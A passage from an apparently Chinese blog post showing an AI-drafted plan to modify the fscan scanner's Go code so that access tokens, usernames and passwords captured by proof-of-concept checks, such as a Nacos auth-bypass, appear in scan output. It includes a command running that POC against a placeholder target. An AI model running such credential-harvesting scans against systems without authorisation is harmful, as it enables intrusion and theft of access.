&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;variableMap := make(map[string]interface{})
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;defer func() { variableMap = nil }()
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;searchVars := make(map[string]string) // ADD THIS
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;variableMap[&amp;#34;request&amp;#34;] = req
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;4.&lt;/span&gt; Populate searchVars in DealWithRule closure
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Change the search block inside DealWithRule from:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if rule.Search != &amp;#34;&amp;#34; {
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; result := doSearch(rule.Search, GetHeader(resp.Headers)+string(resp.Body))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if len(result) &amp;gt; 0 { // 正则匹配成功
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; for k, v := range result {
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; variableMap[k] = v
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; } else {
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; return false, nil
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;To:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if rule.Search != &amp;#34;&amp;#34; {
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; result := doSearch(rule.Search, GetHeader(resp.Headers)+string(resp.Body))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if len(result) &amp;gt; 0 { // 正则匹配成功
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; for k, v := range result {
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; variableMap[k] = v
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if k != &amp;#34;&amp;#34; { // only named groups; unnamed groups have empty-string key
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; searchVars[k] = v
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; } else {
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; return false, nil
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;5.&lt;/span&gt; Update all return statements in executePoc
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;┌──────┬────────────────────────────────────────┬───────────────────────────────────────┐
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ Line │ From │ To │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├──────┼────────────────────────────────────────┼───────────────────────────────────────┤
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ~72 │ return false, err, &amp;#34;&amp;#34; │ return false, err, &amp;#34;&amp;#34;, nil │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├──────┼────────────────────────────────────────┼───────────────────────────────────────┤
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ~77 │ return false, err, &amp;#34;&amp;#34; │ return false, err, &amp;#34;&amp;#34;, nil │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├──────┼────────────────────────────────────────┼───────────────────────────────────────┤
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ~86 │ return false, nil, &amp;#34;&amp;#34; │ return false, nil, &amp;#34;&amp;#34;, nil │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├──────┼────────────────────────────────────────┼───────────────────────────────────────┤
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ~100 │ return success, nil, &amp;#34;&amp;#34; (Sets/cluster) │ return success, nil, &amp;#34;&amp;#34;, nil │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├──────┼────────────────────────────────────────┼───────────────────────────────────────┤
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ~193 │ return success, nil, name (Groups) │ return success, nil, name, searchVars │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├──────┼────────────────────────────────────────┼───────────────────────────────────────┤
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ~198 │ return success, nil, &amp;#34;&amp;#34; (Rules final) │ return success, nil, &amp;#34;&amp;#34;, searchVars │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;└──────┴────────────────────────────────────────┴───────────────────────────────────────┘
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;6.&lt;/span&gt; Update CheckMultiPoc to display extracted variables
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;From:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;isVul, _, name := executePoc(task.Req, task.Poc)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if isVul {
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; result := fmt.Sprintf(&amp;#34;[+] PocScan %s %s %s&amp;#34;, task.Req.URL, task.Poc.Name, name)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; common.LogSuccess(result)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;To:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;isVul, _, name, extractedVars := executePoc(task.Req, task.Poc)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if isVul {
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; result := fmt.Sprintf(&amp;#34;[+] PocScan %s %s %s&amp;#34;, task.Req.URL, task.Poc.Name, name)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if len(extractedVars) &amp;gt; 0 {
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; keys := make([]string, 0, len(extractedVars))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; for k := range extractedVars {
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; keys = append(keys, k)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; sort.Strings(keys)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; for _, k := range keys {
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; result += fmt.Sprintf(&amp;#34;\n * %s: %s&amp;#34;, k, extractedVars[k])
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; common.LogSuccess(result)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Design Decisions
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; Sort keys alphabetically: Go map iteration is non-deterministic; sorting ensures consistent, reproducible output.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; Single LogSuccess call: Builds the full multi-line string before calling LogSuccess to prevent interleaving from concurrent goroutines.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fmt.Println/color.Red in SaveLog handle multi-line strings correctly. WriteFile also works with multi-line strings (plain text appends result + &amp;#34;\n&amp;#34;;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;JSON output: Go&amp;#39;s json.Marshal escapes embedded newlines).
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; Exclude unnamed groups (k != &amp;#34;&amp;#34;): doSearch can return &amp;#34;&amp;#34; as a key for unnamed capture groups; these are internal and should not appear in output.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; set variables not in searchVars: set variables are added to variableMap directly (not through doSearch), so they can never enter searchVars.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; brute-force path unchanged: clusterpoc already has its own output with credentials in tmpMap.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; Groups mode returns searchVars: For consistency, the groups path also returns searchVars (line 193) so POCs using groups format also display extracted
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;variables.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Verification
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gh"&gt;# Build to confirm compilation
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;go build -o fscan main.go
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gh"&gt;# Run against a target with a POC that uses search patterns (e.g., nacos auth bypass)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./fscan -h &amp;lt;target&amp;gt; -m webonly -poc poc-yaml-nacos-multi-check-auth-bypass
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gh"&gt;# Expected: output shows extracted variables indented below the POC result line
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/details&gt;
&lt;p&gt;此处有点问题因为我还没真的写这个模板。应该让它自己写简单的测试用 yaml 和简单的服务进行测试。&lt;/p&gt;
&lt;details class="details-shortcode"&gt;
&lt;summary&gt;Plan: Display POC Search-Extracted Variables in Output&lt;/summary&gt;
&lt;div class="details-content"&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt; 10
&lt;/span&gt;&lt;span class="lnt"&gt; 11
&lt;/span&gt;&lt;span class="lnt"&gt; 12
&lt;/span&gt;&lt;span class="lnt"&gt; 13
&lt;/span&gt;&lt;span class="lnt"&gt; 14
&lt;/span&gt;&lt;span class="lnt"&gt; 15
&lt;/span&gt;&lt;span class="lnt"&gt; 16
&lt;/span&gt;&lt;span class="lnt"&gt; 17
&lt;/span&gt;&lt;span class="lnt"&gt; 18
&lt;/span&gt;&lt;span class="lnt"&gt; 19
&lt;/span&gt;&lt;span class="lnt"&gt; 20
&lt;/span&gt;&lt;span class="lnt"&gt; 21
&lt;/span&gt;&lt;span class="lnt"&gt; 22
&lt;/span&gt;&lt;span class="lnt"&gt; 23
&lt;/span&gt;&lt;span class="lnt"&gt; 24
&lt;/span&gt;&lt;span class="lnt"&gt; 25
&lt;/span&gt;&lt;span class="lnt"&gt; 26
&lt;/span&gt;&lt;span class="lnt"&gt; 27
&lt;/span&gt;&lt;span class="lnt"&gt; 28
&lt;/span&gt;&lt;span class="lnt"&gt; 29
&lt;/span&gt;&lt;span class="lnt"&gt; 30
&lt;/span&gt;&lt;span class="lnt"&gt; 31
&lt;/span&gt;&lt;span class="lnt"&gt; 32
&lt;/span&gt;&lt;span class="lnt"&gt; 33
&lt;/span&gt;&lt;span class="lnt"&gt; 34
&lt;/span&gt;&lt;span class="lnt"&gt; 35
&lt;/span&gt;&lt;span class="lnt"&gt; 36
&lt;/span&gt;&lt;span class="lnt"&gt; 37
&lt;/span&gt;&lt;span class="lnt"&gt; 38
&lt;/span&gt;&lt;span class="lnt"&gt; 39
&lt;/span&gt;&lt;span class="lnt"&gt; 40
&lt;/span&gt;&lt;span class="lnt"&gt; 41
&lt;/span&gt;&lt;span class="lnt"&gt; 42
&lt;/span&gt;&lt;span class="lnt"&gt; 43
&lt;/span&gt;&lt;span class="lnt"&gt; 44
&lt;/span&gt;&lt;span class="lnt"&gt; 45
&lt;/span&gt;&lt;span class="lnt"&gt; 46
&lt;/span&gt;&lt;span class="lnt"&gt; 47
&lt;/span&gt;&lt;span class="lnt"&gt; 48
&lt;/span&gt;&lt;span class="lnt"&gt; 49
&lt;/span&gt;&lt;span class="lnt"&gt; 50
&lt;/span&gt;&lt;span class="lnt"&gt; 51
&lt;/span&gt;&lt;span class="lnt"&gt; 52
&lt;/span&gt;&lt;span class="lnt"&gt; 53
&lt;/span&gt;&lt;span class="lnt"&gt; 54
&lt;/span&gt;&lt;span class="lnt"&gt; 55
&lt;/span&gt;&lt;span class="lnt"&gt; 56
&lt;/span&gt;&lt;span class="lnt"&gt; 57
&lt;/span&gt;&lt;span class="lnt"&gt; 58
&lt;/span&gt;&lt;span class="lnt"&gt; 59
&lt;/span&gt;&lt;span class="lnt"&gt; 60
&lt;/span&gt;&lt;span class="lnt"&gt; 61
&lt;/span&gt;&lt;span class="lnt"&gt; 62
&lt;/span&gt;&lt;span class="lnt"&gt; 63
&lt;/span&gt;&lt;span class="lnt"&gt; 64
&lt;/span&gt;&lt;span class="lnt"&gt; 65
&lt;/span&gt;&lt;span class="lnt"&gt; 66
&lt;/span&gt;&lt;span class="lnt"&gt; 67
&lt;/span&gt;&lt;span class="lnt"&gt; 68
&lt;/span&gt;&lt;span class="lnt"&gt; 69
&lt;/span&gt;&lt;span class="lnt"&gt; 70
&lt;/span&gt;&lt;span class="lnt"&gt; 71
&lt;/span&gt;&lt;span class="lnt"&gt; 72
&lt;/span&gt;&lt;span class="lnt"&gt; 73
&lt;/span&gt;&lt;span class="lnt"&gt; 74
&lt;/span&gt;&lt;span class="lnt"&gt; 75
&lt;/span&gt;&lt;span class="lnt"&gt; 76
&lt;/span&gt;&lt;span class="lnt"&gt; 77
&lt;/span&gt;&lt;span class="lnt"&gt; 78
&lt;/span&gt;&lt;span class="lnt"&gt; 79
&lt;/span&gt;&lt;span class="lnt"&gt; 80
&lt;/span&gt;&lt;span class="lnt"&gt; 81
&lt;/span&gt;&lt;span class="lnt"&gt; 82
&lt;/span&gt;&lt;span class="lnt"&gt; 83
&lt;/span&gt;&lt;span class="lnt"&gt; 84
&lt;/span&gt;&lt;span class="lnt"&gt; 85
&lt;/span&gt;&lt;span class="lnt"&gt; 86
&lt;/span&gt;&lt;span class="lnt"&gt; 87
&lt;/span&gt;&lt;span class="lnt"&gt; 88
&lt;/span&gt;&lt;span class="lnt"&gt; 89
&lt;/span&gt;&lt;span class="lnt"&gt; 90
&lt;/span&gt;&lt;span class="lnt"&gt; 91
&lt;/span&gt;&lt;span class="lnt"&gt; 92
&lt;/span&gt;&lt;span class="lnt"&gt; 93
&lt;/span&gt;&lt;span class="lnt"&gt; 94
&lt;/span&gt;&lt;span class="lnt"&gt; 95
&lt;/span&gt;&lt;span class="lnt"&gt; 96
&lt;/span&gt;&lt;span class="lnt"&gt; 97
&lt;/span&gt;&lt;span class="lnt"&gt; 98
&lt;/span&gt;&lt;span class="lnt"&gt; 99
&lt;/span&gt;&lt;span class="lnt"&gt;100
&lt;/span&gt;&lt;span class="lnt"&gt;101
&lt;/span&gt;&lt;span class="lnt"&gt;102
&lt;/span&gt;&lt;span class="lnt"&gt;103
&lt;/span&gt;&lt;span class="lnt"&gt;104
&lt;/span&gt;&lt;span class="lnt"&gt;105
&lt;/span&gt;&lt;span class="lnt"&gt;106
&lt;/span&gt;&lt;span class="lnt"&gt;107
&lt;/span&gt;&lt;span class="lnt"&gt;108
&lt;/span&gt;&lt;span class="lnt"&gt;109
&lt;/span&gt;&lt;span class="lnt"&gt;110
&lt;/span&gt;&lt;span class="lnt"&gt;111
&lt;/span&gt;&lt;span class="lnt"&gt;112
&lt;/span&gt;&lt;span class="lnt"&gt;113
&lt;/span&gt;&lt;span class="lnt"&gt;114
&lt;/span&gt;&lt;span class="lnt"&gt;115
&lt;/span&gt;&lt;span class="lnt"&gt;116
&lt;/span&gt;&lt;span class="lnt"&gt;117
&lt;/span&gt;&lt;span class="lnt"&gt;118
&lt;/span&gt;&lt;span class="lnt"&gt;119
&lt;/span&gt;&lt;span class="lnt"&gt;120
&lt;/span&gt;&lt;span class="lnt"&gt;121
&lt;/span&gt;&lt;span class="lnt"&gt;122
&lt;/span&gt;&lt;span class="lnt"&gt;123
&lt;/span&gt;&lt;span class="lnt"&gt;124
&lt;/span&gt;&lt;span class="lnt"&gt;125
&lt;/span&gt;&lt;span class="lnt"&gt;126
&lt;/span&gt;&lt;span class="lnt"&gt;127
&lt;/span&gt;&lt;span class="lnt"&gt;128
&lt;/span&gt;&lt;span class="lnt"&gt;129
&lt;/span&gt;&lt;span class="lnt"&gt;130
&lt;/span&gt;&lt;span class="lnt"&gt;131
&lt;/span&gt;&lt;span class="lnt"&gt;132
&lt;/span&gt;&lt;span class="lnt"&gt;133
&lt;/span&gt;&lt;span class="lnt"&gt;134
&lt;/span&gt;&lt;span class="lnt"&gt;135
&lt;/span&gt;&lt;span class="lnt"&gt;136
&lt;/span&gt;&lt;span class="lnt"&gt;137
&lt;/span&gt;&lt;span class="lnt"&gt;138
&lt;/span&gt;&lt;span class="lnt"&gt;139
&lt;/span&gt;&lt;span class="lnt"&gt;140
&lt;/span&gt;&lt;span class="lnt"&gt;141
&lt;/span&gt;&lt;span class="lnt"&gt;142
&lt;/span&gt;&lt;span class="lnt"&gt;143
&lt;/span&gt;&lt;span class="lnt"&gt;144
&lt;/span&gt;&lt;span class="lnt"&gt;145
&lt;/span&gt;&lt;span class="lnt"&gt;146
&lt;/span&gt;&lt;span class="lnt"&gt;147
&lt;/span&gt;&lt;span class="lnt"&gt;148
&lt;/span&gt;&lt;span class="lnt"&gt;149
&lt;/span&gt;&lt;span class="lnt"&gt;150
&lt;/span&gt;&lt;span class="lnt"&gt;151
&lt;/span&gt;&lt;span class="lnt"&gt;152
&lt;/span&gt;&lt;span class="lnt"&gt;153
&lt;/span&gt;&lt;span class="lnt"&gt;154
&lt;/span&gt;&lt;span class="lnt"&gt;155
&lt;/span&gt;&lt;span class="lnt"&gt;156
&lt;/span&gt;&lt;span class="lnt"&gt;157
&lt;/span&gt;&lt;span class="lnt"&gt;158
&lt;/span&gt;&lt;span class="lnt"&gt;159
&lt;/span&gt;&lt;span class="lnt"&gt;160
&lt;/span&gt;&lt;span class="lnt"&gt;161
&lt;/span&gt;&lt;span class="lnt"&gt;162
&lt;/span&gt;&lt;span class="lnt"&gt;163
&lt;/span&gt;&lt;span class="lnt"&gt;164
&lt;/span&gt;&lt;span class="lnt"&gt;165
&lt;/span&gt;&lt;span class="lnt"&gt;166
&lt;/span&gt;&lt;span class="lnt"&gt;167
&lt;/span&gt;&lt;span class="lnt"&gt;168
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Plan: Display POC Search-Extracted Variables in Output
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Context
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Currently, when a POC succeeds in normal mode (rules-based), named capture groups extracted from HTTP responses via the search regex field are stored in
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;variableMap for use in subsequent rules but are never displayed to the user. The user wants these extracted values (e.g., access tokens, credentials)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;to appear in the scan output below the POC result line:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[+] PocScan http://10.3.4.78:8848 poc-yaml-nacos-multi-check-auth-bypass
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;*&lt;/span&gt; accessToken: xxxxxxxxxx
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;*&lt;/span&gt; username: xxxxxxxxxx
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;*&lt;/span&gt; password: xxxxxxxxxx
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Critical File
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Only one file needs modification:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/Users/veno/Projects/fscan/WebScan/lib/check.go
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Implementation
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;1.&lt;/span&gt; Add &amp;#34;sort&amp;#34; import
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;In the import block, add &amp;#34;sort&amp;#34; (alphabetically between &amp;#34;regexp&amp;#34; and &amp;#34;strings&amp;#34;).
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;2.&lt;/span&gt; Modify executePoc signature
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;From:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;func executePoc(oReq *http.Request, p *Poc) (bool, error, string)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;To:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;func executePoc(oReq *http.Request, p *Poc) (bool, error, string, map[string]string)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;3.&lt;/span&gt; Declare searchVars after variableMap (line ~80)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;variableMap := make(map[string]interface{})
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;defer func() { variableMap = nil }()
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;searchVars := make(map[string]string) // ADD THIS
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;variableMap[&amp;#34;request&amp;#34;] = req
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;4.&lt;/span&gt; Populate searchVars in DealWithRule closure
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Change the search block inside DealWithRule from:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if rule.Search != &amp;#34;&amp;#34; {
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; result := doSearch(rule.Search, GetHeader(resp.Headers)+string(resp.Body))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if len(result) &amp;gt; 0 { // 正则匹配成功
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; for k, v := range result {
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; variableMap[k] = v
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; } else {
